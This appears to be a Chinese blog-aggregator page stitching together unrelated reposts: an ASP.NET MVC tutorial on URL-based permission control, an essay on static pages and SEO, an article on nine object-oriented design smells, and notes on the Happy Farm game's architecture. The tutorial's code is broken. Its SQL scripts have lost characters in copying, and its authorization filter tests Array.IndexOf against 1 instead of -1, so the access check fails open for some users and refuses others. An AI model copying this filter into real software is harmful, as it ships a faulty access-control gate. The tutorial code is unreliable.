[MVC]在ASP.NET MVC中实现基于URL的权限控制

mikel阅读(856)

本示例演示了在ASP.NET MVC中进行基于URL的权限控制,由于是基于URL进行控制的,所以只能精确到页。这种权限控制的优点是可以在已有的项目上改动极少的代码来增加权限控 制功能,和项目本身的耦合度低,并且实现起来也比较简单。缺点是权限控制不够精确,不能具体到某一具体的按钮或者某一功能。

在数据库中新建2个表。PermissionItem表用于保存权限ID和页面路径的关系,一个权限ID可以有多个页面,一般同一个权限ID下的页面是为了实现同一个功能。PermissionList表用于保存用户所具有的权限。

 


USE [UrlAuthorize]
GO
/****** Object:  Table [dbo].[PermissionList]    Script Date: 07/07/2009 00:07:10 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
Create TABLE [dbo].[PermissionList](
    
[ID] [int] IDENTITY(1,1NOT NULL,
    
[PermissionID] [int] NOT NULL,
    
[UserID] [int] NOT NULL,
 
CONSTRAINT [PK_PermissionList] PRIMARY KEY CLUSTERED 
(
    
[ID] ASC
)
WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ONON [PRIMARY]
ON [PRIMARY]
GO
SET IDENTITY_Insert [dbo].[PermissionList] ON
Insert [dbo].[PermissionList] ([ID][PermissionID][UserID]VALUES (121)
Insert [dbo].[PermissionList] ([ID][PermissionID][UserID]VALUES (231)
SET IDENTITY_Insert [dbo].[PermissionList] OFF
/****** Object:  Table [dbo].[PermissionItem]    Script Date: 07/07/2009 00:07:10 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
Create TABLE [dbo].[PermissionItem](
    
[ID] [int] IDENTITY(1,1NOT NULL,
    
[PermissionID] [int] NOT NULL,
    
[Name] [nvarchar](50NOT NULL,
    
[Route] [varchar](100NOT NULL,
 
CONSTRAINT [PK_PermissionItem] PRIMARY KEY CLUSTERED 
(
    
[ID] ASC
)
WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ONON [PRIMARY]
ON [PRIMARY]
GO
SET ANSI_PADDING OFF
GO
SET IDENTITY_Insert [dbo].[PermissionItem] ON
Insert [dbo].[PermissionItem] ([ID][PermissionID][Name][Route]VALUES (11, N'测试页1', N'/Test/Page1')
Insert [dbo].[PermissionItem] ([ID][PermissionID][Name][Route]VALUES (22, N'测试页2', N'/Test/Page2')
Insert [dbo].[PermissionItem] ([ID][PermissionID][Name][Route]VALUES (33, N'测试页3', N'/Test/Page3')
Insert [dbo].[PermissionItem] ([ID][PermissionID][Name][Route]VALUES (51, N'测试页4', N'/Test/Page4')
Insert [dbo].[PermissionItem] ([ID][PermissionID][Name][Route]VALUES (62, N'测试页5', N'/Test/Page5')
SET IDENTITY_Insert [dbo].[PermissionItem] OFF

数据库中的示例表示Page1和Page4同属于权限1,Page2和Page5同属于权限2,Page3属于权限3。用户ID为1的用户具有权限2和3。

ASP.NET MVC项目中新建一个AccountHelper类,这是一个辅助类。GetPermissionItems方法用于获取权限ID和页面路径的对应关系。 这是全局的,并且每个用户在访问页面时都会用到这些信息,所以存入Cache中。数据库的相关操作这里使用的是ADO.NET Entity Framework。

 

 1/// <summary>
 2/// 获取权限项
 3/// </summary>
 4/// <returns>权限项列表</returns>

 5public static List<PermissionItem> GetPermissionItems()
 6{
 7     // 如果缓存中已经存在权限列表信息,则直接从缓存中读取。
 8      if (HttpContext.Current.Cache["PermissionItems"== null)
 9     {
10          // 如果缓存中没有权限列表信息,则从数据库获取并写入缓存
11           UrlAuthorizeEntities db = new UrlAuthorizeEntities();
12          var items = db.PermissionItem.Where(c => c.PermissionID > 0).ToList();
13          HttpContext.Current.Cache["PermissionItems"= items;
14     }

15
16     // 这个缓存中保存了所有需要进行权限控制的页面所对应的权限ID
17     return (List<PermissionItem>)HttpContext.Current.Cache["PermissionItems"];
18}

19

 

GetUserPermission方法是将用户所具有的权限ID保存到一个一维Int32数组中。这个信息每个用户是不同的,但是会经常使用到,所以存入Session。

 

 1/// <summary>
 2/// 获取用户权限
 3/// </summary>
 4/// <param name="userID">用户ID</param>
 5/// <returns>用户权限数组</returns>

 6public static Int32[] GetUserPermission(int userID)
 7{
 8    // 如果缓存中已经存在权限列表信息,则直接从缓存中读取。
 9    if (HttpContext.Current.Session["Permission"== null)
10    {
11        // 从数据库获取用户权限并将权限ID放到int数组并存入Session
12        UrlAuthorizeEntities db = new UrlAuthorizeEntities();
13        var permissions = db.PermissionList.Where(c => c.UserID == userID).Select(c=>c.PermissionID).ToArray();
14        HttpContext.Current.Session["Permission"= permissions;
15    }

16    return (Int32[])HttpContext.Current.Session["Permission"];
17}

18

 

再新建一个UrlAuthorizeAttribute类,继承自AuthorizeAttribute,这是一个Filter。我们重写它的OnAuthorization方法,以在ASP.NET页生命周期身份验证阶段执行它。

 

 1/// <summary>
 2/// 重写OnAuthorization
 3/// </summary>
 4/// <param name="filterContext"></param>

 5public override void OnAuthorization(AuthorizationContext filterContext)
 6{
 7    // 获取权限项列表
 8    List<PermissionItem> pItems = AccountHelper.GetPermissionItems();
 9
10    // 获取当前访问页面对应的权限ID。如果item为空则表示当前页面没有权限控制信息,不需要进行权限控制
11    var item = pItems.FirstOrDefault(c => c.Route == filterContext.HttpContext.Request.Path);
12
13    if (item != null)
14    {
15        if (Array.IndexOf<Int32>(AccountHelper.GetUserPermission(int.Parse(filterContext.HttpContext.Session["UserID"].ToString())), item.PermissionID) == 1)
16        {
17            // 提示权限不够,也可以跳转到其他页面
18            filterContext.HttpContext.Response.Write("没有权限访问该页面");
19            filterContext.HttpContext.Response.End();
20        }

21    }

22    else
23    {
24        // 如果权限项列表中不存在当前页面对应的权限ID则所有用户都不允许访问,直接提示无权访问。***注1***
25        filterContext.HttpContext.Response.Write("没有权限访问该页面");
26        filterContext.HttpContext.Response.End();
27    }

28}

29

 

至此,主要的工作都已经完成了的。接下来我们只需要在需要进行权限控制的Action或Controller前加上[UrlAuthorize], 这些Action或Controller中的所有Actions就会自动被UrlAuthorize这个Filter进行处理。如果某一个Action被 标上了[UrlAuthorize],而数据库中又不存在该页面对应的权限ID,那么根据示例的代码,所有用户都将无法访问这个页面,如果需要更改这个设 置,可以修改上面“注1”下面的2行代码。

示例代码下载

[SEO]关于网页*静态化*及SEO问题的一些补充

mikel阅读(901)

  前一篇讨论“静态页”的文章反响不错,不少朋友发表了自己的看法,也给老赵更多的想法。虽然也在前一篇文章后面回复了不少内容,但是就以往经验来看,总结为一篇新的文章会让我想表达的内容更为明确,对于“静态化”这一非常容易被人误解的概念来说也是非常重要的。

seo

   我们还是先来讨论一下,什么叫做“静态页”。有朋友说,放在硬盘上的htm或html文件便是一种静态页,Web服务器不需要做额外的处理,直接读取文 件内容并输出就可以了,而这样的静态文件对于SEO是有帮助的。至于理由,是搜索引擎会对html结尾的文件给更好的权值(这好像还是结论,不是理由), 而这是“常识”,“了解一点SEO的人都知道这个”,“人们普遍在使用的做法”,因此“它一定是正确的”。不过其实Google并不这么认为,百度倒没有给出专业说法。

   当然,我们已经重复强调,但还是需要不断明确的一点是,即使搜索引擎对于“静态页”有更好的倾向性,那也是因为其“URL样式”,而不是“在硬盘上放置 了一个html文件”。请求方(也就是爬虫)只是向服务器端发送一个URL,并获取服务器端给出的内容。它不会关心,也无法了解服务器端究竟是如何得到页 面内容的,对于客户端来说,世界上没有“静态”或“动态”页面之分。有些朋友可能还是会说“不会啊,html就是静态页面,像aspx之类的就是动态页 面,前者不需要在Web服务器上运算,后者需要”。

  真是这样的吗?并非如此,因为html文件也是需要Web服务器来运算的。例如,您请求一个html文件,Web服务器至少做了几件事情:

  • 如果请求包含缓存信息,那么处理缓存状态。
  • 根据URL定位到磁盘上的文件。
  • 进行用户认证和授权(如,是否匿名?)。
  • 判断是否有权限读取。
  • 读取文件。
  • 根据文件类型设置MIME的值。
  • 根据文件最后修改日期设置Last-Modified值。
  • 根据文件内容及其他状态设置其E-Tag值。
  • 如果文件内部有include标记,那么读取另一个文件填充进来。

   看看,处理一个文件需要多少“动态运算”啊,这些可都是在Web服务器(如IIS)加载一个html所做的事情。如果您想要观察这些过程,可以阅读一些 Web服务器的源代码,或者去观察一下ASP.NET中System.Web.StaticFileHandler类所做的事情,它也体现了Web服务器 处理html时的关键之处。事实上,如果您在IIS中将html配置给ASP.NET ISAPI的话,或者使用VS自带的Web服务器,最后便是由StaticFileHandler来输出硬盘上的文件的。

  所以,虽然 我们看起来Web服务器只是简单地读取了硬盘上的文件,但其实它还是不如我们想象的那么简单。不过对于客户端来说,这一切都是不可知的。例如 Squid,Nginx这样部署在前端的缓存或反向代理服务器,它们都不会关心后端Web服务器是Windows,Linux还是Unix,也不会关心是 IIS,Apache,Lightted甚至是我们自己写的高效或低劣的Web服务器。对于浏览器,爬虫,或前端负载均衡器来说,它们只知道TCP/IP 协议,它们只知道HTTP协议等东西,其他一概不知。

  不过,也有朋友坚持认为“生成静态页”来“进行页面缓存”对SEO有帮助。理由 是,“进行页面缓存”能够提高网站性能,爬虫更倾向于访问速度更快的页面。从这个角度看来,这种说法的确有一定道理。只是我还是不喜欢这样的看法,因为这 种说法没有把握事物关键。在这里,SEO的关键在于优化网站性能,而生成静态页只是一种手段之一。这并不是适用性最广的,也并非是最容易实现的。如果您直 接把“生成静态页”与“SEO”联系起来,很有可能会对他人造成误解。

  当然,如果您的思路没有问题,“静态页”三个字的指代也足够明 确,“静态页有利于SEO”这个命题毫无疑问是正确的。不过我们现在并没有讨论一个命题的逻辑是否正确,我们也不必纠缠于一个表达形式是否严谨,我们的目 的是要说明道理。也正因为如此,老赵才会一遍一遍地写这么多内容。也就是说,这几篇文章的关键在于“说清道理”,我们把握它既可。

  最后,老赵再谈一下对SEO这个工作的看法。

seo

   从老赵与各SEO人员的接触感觉来看,他们总是有各种理由来说明“问题所在”,只是如果在改进问题之后还是没有效果的话,他们又可以找出各种理由来告诉 你为什么没有效果——但是要知道SEO是一个实践性工作,它的唯一判断依据便是“效果”,而不是“理论”。SEO的理论很容易掌握,但是如果无法真切提高 一个网站在搜索引擎上的表现,这一切还是白搭。老赵认为,一个好的SEO是需要了解网页制作,或者说网站开发的基本技术的,至少要有常识,否则基本上就是 在扯蛋。老赵曾经接触过一个“专业”的SEO公司,那里的“SEO咨询师”给我留下了深刻的印象——负面印象。其“非专业性”从以下几个事件中便可见一 斑:

  1. 还是“静态页”的问题。由于把URL变为.html结尾之后并没有得到明显的效果,他询问我们的实现方式。在得知我们使 用了URL重写,而不是在硬盘上放置html文件时他“惊呼”这种欺骗搜索引擎的行为是会起到反效果的。他强烈要求我们在硬盘上放置html文件。这个要 求自然遭到了我们的拒绝,原因之一是我们是非常动态的网站,很难实现这个需求,但是更重要的是,懂得一点技术的人就知道,Web服务器的处理方式对于搜索 引擎爬虫时完全不可见的,我们是否真正放置html文件与搜索引擎没有任何关系。
  2. 内容的位置问题。在SEO界有种说法是,搜索引擎 会更倾向于把页面靠前的内容看的更重,而把页面靠后的内容权值放低。因此那位专业SEO咨询师指着我们的某张页面说,这部分内容太靠“下方”,很容易被搜 索引擎忽略。请注意,他说的是“内容在页面显示的时候出现在下方”。您觉得这种说法有道理吗?如今页面布局往往使用XHTML+CSS的方式,而搜索引擎 只会关注HTML的内容,而“位置”很大程度上是由CSS,甚至是由JS来控制的。出现在HTML内容前段的内容,在页面呈现时也可以出现在下方,这也和 搜索引擎没有任何关系。可惜这一点也解释了半天。
  3. 最后一条可以说是最可笑的。因为SEO效果不好,那位SEO咨询师觉得只能“来真 的”了,于是向我们索要网站的IIS日志。分析日志对于SEO有些帮助,因为可以看出爬虫的抓取顺序,频率,甚至结果等等,因此查看日志的做法本没有问 题。可惜问题在于,对方从MSN上给出一个邮箱,让我们把过去几个星期的日志发给他。当看到这个要求的时候,老赵几乎要破口大骂。从这点可以看出,这位 SEO咨询师缺少必要的尝试,他根本不知道一个中小型的网站,每天便要生成几百兆到几个G的日志。如此没有常识,为什么会有那么多“成功案例”?

   老赵的博客(也就是您正在看的这个)在搜索引擎上的表现也非常糟糕,即使是老赵经常写作的话题,在Google上也很难找到几篇文章,排名也不太靠前。 如果不使用site:cnblogs.com进行限制的话,几乎没有一篇文章是找到我的blog,都是各种地方的转载。为此我也比较苦恼,咨询了一些专业 搞SEO的朋友,做出一些修改之后还是没有太大改善。不过我相信那只是我没有遇上优秀的SEO人员而已,我的博客的潜力还远没有挖掘到底。

  如果您是一个专业的SEO人员,或者是专业的SEO公司,不妨给我一些建议——如果可以的话,我也不介意在这方面进行一点投资。不过,如果是一些“肮脏”的优化方式就不必了,例如去论坛上贴链接,发垃圾邮件。我也知道这些做法很有效果,但是我不想这样做。

[面向对象]九种不够面向对象的对象

mikel阅读(757)

本文发表在《程序员》2009年第四期(总第100期)

本文列出了我在平时发现和积累的在面向对象编程中一些常见的“不够面向对象”的情况。

需要指出两点:

1.我们虽然列出了这九种情况,但并不是说出现了下面的情况就一定有问题了;我们希望读者这可以将其作为一种信号——仔细考虑一下是不是有更好的设计。

2.我们这里所说的面向对象的对象特指领域对象,即对象中包含领域数据和业务逻辑。

要 确定不够面向对象的对象,首先要了解什么样的对象算是面向对象的,或者说好的面向对象的对象。关于面向对象设计的原则从不同的角度有很多种说法,我们这里 采用一种比较简单的说法,即高内聚低耦合。所谓高内聚是指对象内的数据和方法是紧密相关的;所谓低耦合是指对象之间的依赖应当比较小,一个对象发生改变时 不应当对不相关的对象产生影响。

一. 低内聚对象

我们把低内聚对象分为两种:一种是应该属于该对象的行为和数据分散到了其他对象中;另一种是该对象内部的行为和数据关系不够紧密。下面的1、2是属于前一种情况,3、4、5则是属于后一种情况。

1.贫血对象(Anemic Object)

瞧,那条贫血的狗!
故事的发生是这样的…
你养了一条宠物狗,在学习了面向对象编程之后,你打算为这条狗设计一个面向对象的系统。于是,根据你在C语言编程时的开发经验,结合你对“封装”二字的理解,你设计了这样一条狗:)这条狗由四部分组成:头、身子、腿和尾巴。

clip_image002

图 1

隔壁住着一位面向对象大师——法号鉴摩,你拿着设计图给他看。鉴摩大师只扫了一眼便说:
没有行为的对象不是好对象。

你似懂非懂地点了点头,正要往下说,大师挥了挥手说:“你明天再来罢。”

如 果一个对象只有数据没有行为,它就是一个贫血对象,它只能被别人操作,或者作为某个操作的结果。对于简单的getter和setter,我们一般不将其归 为领域行为。所以,上面这个对象就是一个贫血对象。这条狗还不会叫、不会跑,甚至还不会摇尾巴讨好你,真不知道你养这样一条狗干啥。

处理贫血对象时可以考虑把操作对象数据的行为移动到这个对象里面。对数据的封装只是面向对象中“封装”这个概念的一部分,我们的对象中除了封装数据还应当封装行为。

对于跟物理世界一一对应的对象,一般来说,我们不容易犯这样的错误。我们不妨来看一个实际工作中遇到的例子。在某个商店收银系统中,有一个对象叫做Product,它被设计成这样:

clip_image004

图 2

这个Product就是一个贫血类。单纯看这个类,是没有什么问题的。我们需要结合其他的类来观察。由于不同类型的产品打印方式不同,计税规则也不同,所以我们还有一个处理Product的类: 

clip_image006

图 3

我们可以明显的看出在这两个类的方法中存在非常相似的代码结构。如果Product的类型出现扩展,我们在这两个类(Product、 ProductHandler)里面都需要做修改。这不符合面向对象编程中OCP原则。对于贫血对象的改进应当考虑将相关的行为移动到对象里面。 

clip_image008

图 4

如果我们发现相关行为移动到Product中去后ProductHandler所做的事情仅仅是将调用转发给Product,可以考虑将这个类消除。这里我们没有将Product形成继承结构,有兴趣的同学可以参考《重构》一书中的“以多态取代条件式”。

引申阅读:

1.《重构》一书种关于“以多态取代条件式”的内容。

2.管理者对象(Manager Object)

狗摇尾巴,还是摇狗尾巴,这是个问题!

第二天,你拿着另一个对象的类图去找鉴摩大师。你对鉴摩大师说:“我想大师昨天的意思是说我设计的Dog对象没有行为吧,其实所有的行为我都放到这个DogController对象中了。”

clip_image010

图 5

大师看了一下你的图,说道:“到底是狗摇尾巴,还是你在摇狗尾巴?”
你不解道:“这样有什么不同吗?”
鉴摩大师闭着眼睛说道:
不要问我,告诉我。
你更加迷惑了。不过你知道“知之为知之,不知Google之”的名言,所以你用大师的话为关键字Google了一下,还真有不少内容。
我 们经常会看到一些类命名为:XxxxManager、XxxxHandler。这样类表面上是面向对象的,但其实质往往是面向过程的,只不过在外面包了一 个Class而已。管理者对象往往是跟贫血对象成对出现的,业务数据保存在贫血对象中,而业务逻辑行为(或者从数据的角度来说也可以称为“对数据的操作 ”)则在管理者对象中。
管理者对象的问题是其中的各个方法之间的关系非常不明显,它们往往只是共享一个被操作的数据对象。去掉其中的几个方法,这个对象似乎还是一个完整的对象。上例中ProductHandler就是一个管理者对象的例子。

对于管理者对象,最基本的解决方法就是职责分组。首先创建或者从系统中找出相关的领域对象,尽量地将职责划分到多个领域对象中去。当管理者对象和贫血对象成对出现时,往往部分跟业务紧密相关的贫血对象既是领域对象。分层、数据字典都是常用的提取领域对象的方法。

3.储柜对象(Cabinet Object)

狗尾巴不见了!

第三天,你的朋友送了一条狗给你,并告诉你是在路边捡到的。所以,你需要在你的系统中再添加一只小狗啦。根据你丰富的内存管理方面的经验,你认为在内存中保留两个实例,实在是浪费,所以你扩展了一下API。你把新的设计方案交给鉴摩大师去看。

clip_image012

图 6

鉴摩大师冷漠地看了你一眼,仿佛看到一个陌生人似的,大师慢悠悠地说道:
今天的你不是昨天的你。
你一脸茫然地回到自己家里,突然发现狗尾巴不见了。谁调用了setTail(NULL)!

所谓储柜对象,是指它所有的数据都是可以通过setter动态设置的。也就是说getter返回什么或者对象的行为如何表现,完全取决于当时的设置了什么。这个对象中的数据,看起来就像临时分配的一块可读写的内存。

储 柜对象的问题在于,我们编写和阅读代码的时候很难把握这种对象,因为其状态随时可能会被修改,而修改其状态的行为又分散在其他的地方。解决这个问题,可以 先把储柜对象处理为Immutable Value,即在构造函数中传入必要的参数,只为那些可以动态修改的状态保留setter方法。如果有必要,还可以通过“以多态取代条件式”重构形成一个 继承结构。

4.多管闲事的对象(Meddling Object)

你们家的狗会拿耗子吗?
你的朋友真 好,第四天又送了一只猫给你。你已经开始庆幸自己学习了面向对象,这门支持“派生”的技术。你本来想直接从Dog派生一个Cat出来,觉得似乎有点问题。 算了,你决定来个重新设计吧。为了用到面向对象里面最好用的技术——继承,你决定对狗和猫进行抽象,产生一个宠物(Pet)对象。好的,狗和猫有什么共同 点呢?很快,结果出来了:

clip_image014

图 7

你甚至记得把Pet中makeSound和catchRat设计为抽象函数,让Dog和Cat分别实现。你高兴地拿给鉴摩大师去看。大师瞅了你一眼,问到:“你们家的狗会拿耗子?”
你狡黠一笑:“大师您看,我的catchRat是抽象函数,在Dog中实现地行为是‘do nothing’。”
“如果你们家有一百条狗,一百只猫呢?”大师说这句话的时候甚至连看都没看你一眼。过了一会儿,大师继续说道:
把变化的和不变的分离开。
你悻悻地回到家里,陷入了沉思…
对 于一个对象而言,多管的闲事不属于自己的业务逻辑(虽然很可能有某种联系),我们应当把相关的代码完全隔离出去或者将相关职责委托给新的对象实现。隔离和 委托的区别在于原对象是否持有新对象的引用。一般来说,委托的方式使用的更多一些,而且实现上也比较直观。对于上例而言,我们可以做如下的改进:

clip_image016

图 8

不恰当的抽象只是造成“多管闲事的对象”的原因之一。更常见的情况是,我们懒得为一个小功能创建一个新的类。比如下图就是一个实际工作中遇到的例子。

clip_image018

图 9

在计税的时候,我们需要做一些四舍五入的工作,这些职责本应该委托给一个工具类来完成。
引申阅读:
1.爱管闲事的对象违反了单一职责原则(SRP),容易导致设计不稳定。请参考有关SRP的文章。推荐《敏捷软件开发:原则、模式与实现》第8章。
2.《设计模式:可复用面向对象软件的基础》中关于在实现Composite模式时,安全性和透明性之间的权衡。

5.工具类(Utility Class)

你的设计越来越完善了!
第五天,你开始设计一些工具方法,给狗狗洗澡、喂食,可是这些方法放到哪儿呢?既然不能违反SRP原则,你决定每个工具方法设计一个类,但是看上去这些类也太简单了。  

clip_image020

图 10

你把自己的想法和顾虑告诉鉴摩大师,大师摇了摇头,随后说道:
物以类聚。易懂易维护才是我们的目标。

说 工具类不够OO听上去有点奇怪,因为它根本不需要实例化,所以也不会形成真的对象。工具类的典型特征是里面的函数都是静态的。这些静态的函数之间往往没有 必然的联系,甚至都不会共享数据,所以它们本质上是非内聚的。这里,并不是说不应当有工具类,而是工具类的角色很多时候都是提供一种转换或者值操作,不包 含领域逻辑,因而不属于领域对象。把这些方法放到一个对象里面,就像给它们归归类而已。所以,如果一个类是工具类,就让它扮演好这个光荣的角色吧,别往里 面放业务逻辑。如果有些转换明显跟业务逻辑靠得比较紧,而又不适合放到领域对象里面,可以将其单独做一个工具类,将其跟通用的、业务无关的工具类分开。

简单工厂类是工具类的一种,所谓简单工厂是相对于抽象工厂和工厂方法来说的,它只是根据输入值返回一个领域对象。

二.高耦合

高耦合一般表现为对其他类型的强烈依赖,一个对象发生变化会对其他对象产生剧烈的影响。我们的原则是尽量依赖于稳定的类型(或接口)。

6.原生类型依赖对象(Primitive Obsession Object)

这只狗的生日是01/02/03。
第六天,你决定在Pet对象中加入狗狗和猫咪的生日。这项工作对于你来说已经算不上什么难事了。

clip_image022

图 11

你把程序交给大师去看,大师输入了一串字符串,运行的结果是:这只狗的生日是01/02/03。大师问你:“这是什么意思?01年2月3日还是03年1月2日?”
你满脸冒汗,因为你已经不记得自己怎么定义的了。大师微笑着说:
不要依赖于你自己都会忘记的事情。封装之。
你回到家里,百思不得其解。“难道我值得为一个生日设计一个类吗?”

有 的对象强烈依赖于语言的原生类型,比如字符串、整型数字等。正常情况下,依赖于原生类型是没有危险的,因为这些类型相当稳定,向着稳定依赖正是我们的原 则。但是,如果我们同时依赖于这些原生类型的表达方式,比如字符格式、用整型表达的类型,会使得我们的系统设计变得不稳定。

我们再来看一个实际工作中的例子吧。

我们要分析两个城市之间的路径,有的同学将从城市A经城市B到达城市C的路径用“ABC”来表示,有的同学则用“A-B-C”来表示。如果对象依赖于这样的字符串,编程中就很容易出错,而且一旦表达格式发生了变化,程序还需要作出相应的修改。

一般来说,在系统中总是有一些对象要依赖于原生类型,但是我们应当尽量早地使用领域对象对原生类型做封装。比如,一开始的设计是这样的:

clip_image024

图 12

我们可以对route进行封装,使其不再依赖于字符串的格式。

clip_image026

图 13

这时候,要添加城市A只要调用Route:addCity("A")就可以了。

7.链式依赖对象(Message Chain Object)

一只狗拴一条链子就够了!
第七天,你的朋友跑过来说,他找到了那只路边捡到的小狗的主人,并告诉了你他的电话。你决定把这个电话记录在你的系统中。

clip_image028

图 14

你把设计交给大师去看。大师看了看类图就去翻你的代码,然后皱了皱眉头,用手指着一行代码“dog.getOwner().getAddresss();”说道:
决定一个对象好坏的是它的使用者。
你看着那行代码,若有所思的点点头。

且 不说,这个代码违反了“Tell,Don't Ask”原则,就这种链式导航结构就会使得客户端与链条上的所有对象直接耦合。一旦对象之间的关系发生任何变化,都会引起客户端的变化,这违反了迪米特法 则,又称最少知识原则。要解决这个问题可以在链条中找一个合适的对象添加一个函数。比如,上例中我们可以为Dog添加一个 getOwnerAddress()函数。这样在客户端要取得主人的地址就只要依赖于Dog对象就可以了:dog.getOwnerAddress()。

我们要特别强调,上述解决方案只是最简单的方案之一,而且不一定是最佳方案。如果链式调用出现的次数不多甚至可以不做修改。

引申阅读:

1.《重构》中关于Message Chains的内容。

2.《程序员修炼之道》中关于迪米特法则的内容。

8.假对象(Dummy Object)

需要为邻居家的宠物单独设计一个类吗?
第 八天,你的邻居看到了你设计的系统,非常感兴趣,希望你能把他们家的宠物也纳入进来。你非常高兴地答应了,因为邻居家的女主人非常热情。因为你的系统里面 已经有了Owner的概念,你决定为邻居家的宠物派生一个专门的类。而且你把这个决定告诉了邻居mm,让她觉得你专门为她做了一件天大的事情。

clip_image030

图 15

你把新的设计交给大师去看,大师瞅了一眼,说:
多一个类就多一份牵挂。
你的脸一红,因为你不知道大师是在说设计还是说你。

系 统中每增加一个类,系统的复杂性就会提高一点。每个类都是有代价的。尽管小对象往往是我们追求的目标,但是如果对象小到不仅没有专属自己的数据,也没有专 属自己的行为,这样的对象还是不要的好。假对象经常出现在类的派生体系中。在倒数第二层的抽象类中已经做足了数据和方法,假对象往往只要在构造函数中填空 就行了。图15正是这样的情况。

解决这种问题的一个方法是引入合适的“工厂”模式。比如,对于这个例子,我们可以将其修改为:

clip_image032

图 16

引申阅读:
1.《重构》一书中关于折叠继承体系、将类内联化的内容。

9.积木对象(Bricks Object)

创建一只狗到底要分多少步?
第九天,你对修改后的设计已经充满了信心。你把整个设计拿给鉴摩大师去看。鉴摩大师问到:“你怎么创建一只宠物?”
你说:“我先创建PetHead、PetBody、PetLegs和PetTail,然后把它们跟相应的生日和主人信息一起传入PetFactory的工厂方法中,就可以返回一只完整的宠物了。”
大师问:“你怎么保证别人创建宠物的时候记得这么复杂的步骤呢?”
你简直怀疑大师在故意为难你了:“难道我的PetFactory的参数列表不够清晰吗?你是说让我增加点注释吗?”
大师摇了摇头,轻轻地吐出两个字:
封装。
封装?你简直不相信自己的耳朵,难道我做了九天了,又回到了面向对象的原点?
当对象的创建可以分为多个步骤时,为了防止在步骤上出错,我们经常要对这些步骤进行封装。否则对象的创建将依赖于(耦合于)代码中未指明的步骤,这可不是闹着玩的。同样道理,如果某件事情要求对几个函数按照某个顺序进行调用,也需要对其进行封装。
封 装对象创建的步骤经常采用Builder模式,当然我们也可以采用比较简单的方案,即尽量在被创建对象的内部创建自己的各个组成部分。封装对几个函数的顺 序调用,为其另外提供一个函数在该函数中按照要求的顺序完成调用。图17是采用内部创建各组成部分的方式设计的对象继承结构。

clip_image034

图 17

引申阅读:
1.《重构与模式》中关于组合方法、链构造函数、用Creation Method替换构造函数、用Builder封装Composite的内容。
2.《设计模式:可复用软件对象的基础》种关于创建型模式的内容。
第十天,大师问你:“什么样的对象算是好对象呢?”
你说:
好的对象添一分则嫌多,减一分则嫌少。
大师笑而不语。翌日,你再去找大师,大师已经离去了。

结语

实 际上,对于如何认识和理解面向对象,业界也有很多争论,其中有代表性的是斯堪的纳维亚学派(Scandinavian school)和美国学派(American School)。前者强调对真实世界中的“对象”建模——即类是由一组数据和支持这些数据的方法组成;后者强调行为封装——即类是由一组方法和支持这些方 法的数据组成。前者的典型代表语言是Simula,后者的典型代表语言则是Smalltalk(我并不想较真,但是较真的读者可能会看到一些说法认为 Simula是Smalltalk之母的说法,恕我不擅考究)。以GoF、Martin Fowler、Robert C. Martin等人为代表的美国学派在这场争论中占有优势。实际上,本文从某种程度上也是引导读者从斯堪的纳维亚学派向美国学派靠拢。
面向对象技术 出现的目的是让编写代码更容易,然而有意思的是,对于初学者来说面向对象语言要比面向过程语言更难理解和接受。实际上,要做出好的面向对象设计需要长时间 的经验积累。我在上面列出了一些相关的书籍,除了阅读之外更重要的是要在实践中摸索和体会。掌握了基本地面向对象设计的技能之后,可以继续学习有关设计模 式、重构、测试驱动开发等内容,这些对于深入理解面向对象概念有很大的帮助。
在面向对象编程中,考察对象设计的好坏关键是看该对象的客户端是否能 够方便地使用它;它所应用的环境中是否体现出自己的价值,特别是在环境和需求变化时是否能够比较容易地适应。这句话反过来也是成立的,即我们在设计对象的 时候也应当从环境和客户端的角度去思考。这种思路往往能给我们带来额外的好处,比如容易测试、容易面向接口编程、容易实现依赖倒置。这是一个更加深入的话 题,希望有机会跟大家分享和交流。

后记

当我开始写这篇文章的时候我就意识到这不是一个容易成文的话题,因为不够 面向对象的情况实在是太多了,不可能用九种来概括。从某种意义上讲,Martin Fowler在《重构》一书中所列出的“坏味道”都属于不够面向对象的情况,或者至少说是“不够好的面向对象”。所以本文列出的九种情况不追求全面,更不 追求正交,而是追求实用。我的目的是为刚刚接触面向对象编程的程序员——特别是从非面向对象编程转到面向对象编程的同学——提供一个容易比照的检查列表。
感谢我的同事和朋友们在本文成文过程中给予的帮助。

[性能]Five Minutes程延辉 介绍开心农场架构

mikel阅读(834)

Five Minutes 公司程延辉(小名康天) 介绍开心农场架构,social game的技术挑战,支持千万级DAU的social game技术架构。这是一个对于开发者来说,非常精彩,非常有实用性指导的一次演讲,详细介绍了很多技术内幕。
>>猛击这里下载演讲ppt<<

Five Minutes 公司的著名social game 开心农场,目前非常受用户欢迎,包括国外的Facebook,国内的开心网都是如此,是全球最大的social game,台下热烈掌声。呵呵。开心农场这个游戏从介绍看,相当成功,最早是08年9月在xiaonei上线,而后在51等平台推广,包括 Facebook。现在已经有1570万游戏用户了,其中包括50万的Facebook用户。
开心农场架构主要难点:1。如何存储大规模的用户数据千万级2。如果应对大量访问每天数亿请求量3。如果应对数据的频繁修改,每秒数万次数据修改。
解决的方式
优化:
1。负载均衡,web服务器平行扩展。
2。服务器性能优化。
3。异步处理,缓存数据接口,Linux内核参数优化,挖掘PHP的效率,用fastcgi模式运行php,用EAccelerator加速。固定不变数据做成php配置文件,用C开发PHP扩展等。
数据库性能优化:
1。数据库分库分表,所有数据全部设计成 key-》value形式,不用join。
2。使用INNODB,经常操作的数据表中所有字段尽量设计成数值型,用update替代Insert和Delete操作
异步处理:整个系统最关键的部分,
原则:把客户端暂时不需要的数据进行异步处理。
实例:讲非核心数据先写入memcached,异步更新到数据库,合并数据库更新操作,Feed和Notification的异步发送。
利用客户端资源:Flash屏蔽重复操作和不必要请求,Flash进行一些计算减轻服务器的复旦,例如好友排序等。Flash缓存一些数据。
social game = social + game。实时互动(大负载)和非实时互动(大负载)。
服务器角色:场景服务器,逻辑服务器,admin服务器,gateway,架构逻辑还是挺复杂的,每天处理亿级请求的架构,完全和百万级不一样!完全能够通过平行扩展的方式应对,gateway和场景服务器都完全可以增加。
